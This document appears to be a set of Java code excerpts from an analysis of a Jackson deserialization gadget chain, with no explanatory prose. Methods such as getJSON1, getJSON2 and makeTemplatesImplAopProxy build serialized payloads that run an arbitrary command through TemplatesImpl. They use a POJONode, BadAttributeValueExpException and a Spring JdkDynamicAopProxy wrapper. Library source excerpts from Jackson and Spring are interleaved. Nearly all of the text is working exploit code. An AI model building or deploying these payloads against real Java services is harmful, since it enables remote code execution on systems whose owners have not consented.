public static byte[] getJSON1(String cmd) throws Exception {
                // step 1
        CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
        ctClass.removeMethod(writeReplace);
        ctClass.toClass();
                // step 2
        POJONode node = new POJONode(makeTemplatesImpl(cmd));
                // step 3
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        setFieldValue(val, "val", node);

        return serialize(val);
    }

protected void serializeFields(Object bean, JsonGenerator gen, SerializerProvider provider)
        throws IOException
    {
        final BeanPropertyWriter[] props;
        if (_filteredProps != null && provider.getActiveView() != null) {
            props = _filteredProps;
        } else {
            props = _props;
        }
        int i = 0;
        try {
            for (final int len = props.length; i < len; ++i) {
                BeanPropertyWriter prop = props[i];
                if (prop != null) { // can have nulls in filtered list
                    prop.serializeAsField(bean, gen, provider);
                }
            }
            if (_anyGetterWriter != null) {
                _anyGetterWriter.getAndSerialize(bean, gen, provider);
            }
        } catch (Exception e) {
            String name = (i == props.length) ? "[anySetter]" : props[i].getName();
            wrapAndThrow(provider, e, bean, name);
        } catch (StackOverflowError e) {
                        ...
        }
    }

Object payload = Gadgets.createTemplatesImpl(command);
                Class[] ifaces = new Class[]{Templates.class};
                // we need to make payload implement composite data
        // it's very likely that there are other proxy impls that could be used
        AdvisedSupport as = new AdvisedSupport();
        as.setTarget(payload);
        InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy", as);
        InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(Gadgets.createMap("getCompositeType", rt));
        InvocationHandler invocationHandler = (InvocationHandler) Reflections.newInstance("com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl");
        ((Map) Reflections.getFieldValue(invocationHandler, "classToInvocationHandler")).put(CompositeData.class, cdsInvocationHandler);
        Reflections.setFieldValue(invocationHandler, "defaultHandler", delegateInvocationHandler);
        final CompositeData cdsProxy = Gadgets.createProxy(invocationHandler, CompositeData.class, ifaces);
        JSONObject jo = new JSONObject();
        Map m = new HashMap();
        m.put("t", cdsProxy);

/**
     * Implementation of {@code InvocationHandler.invoke}.
     * <p>Callers will see exactly the exception thrown by the target,
     * unless a hook method throws an exception.
     */
    @Override
    @Nullable
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        Object oldProxy = null;
        boolean setProxyContext = false;

        TargetSource targetSource = this.advised.targetSource;
        Object target = null;

        try {
      ...
            // Get as late as possible to minimize the time we "own" the target,
            // in case it comes from a pool.
            target = targetSource.getTarget();
            Class<?> targetClass = (target != null ? target.getClass() : null);

            // Get the interception chain for this method.
            List<Object> chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);

            // Check whether we have any advice. If we don't, we can fall back on direct
            // reflective invocation of the target, and avoid creating a MethodInvocation.
            if (chain.isEmpty()) {
                // We can skip creating a MethodInvocation: just invoke the target directly
                // Note that the final invoker must be an InvokerInterceptor so we know it does
                // nothing but a reflective operation on the target, and no hot swapping or fancy proxying.
                Object[] argsToUse = AopProxyUtils.adaptArgumentsIfNecessary(method, args);
                retVal = AopUtils.invokeJoinpointUsingReflection(target, method, argsToUse);
            }
            else {
                ...
            }
            ...
            }
            return retVal;
        }
        finally {
            ...
        }
    }

public interface Templates {

    Transformer newTransformer() throws TransformerConfigurationException;

    Properties getOutputProperties();
}

public static byte[] getJSON2(String cmd) throws Exception {
                // step 1
        CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
        ctClass.removeMethod(writeReplace);
        ctClass.toClass();
                // step 2
        POJONode node = new POJONode(makeTemplatesImplAopProxy(cmd));
                // step 3
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        setFieldValue(val, "val", node);

        return serialize(val);
    }

    public static Object makeTemplatesImplAopProxy(String cmd) throws Exception {
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(makeTemplatesImpl(cmd));
        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
        return proxy;
    }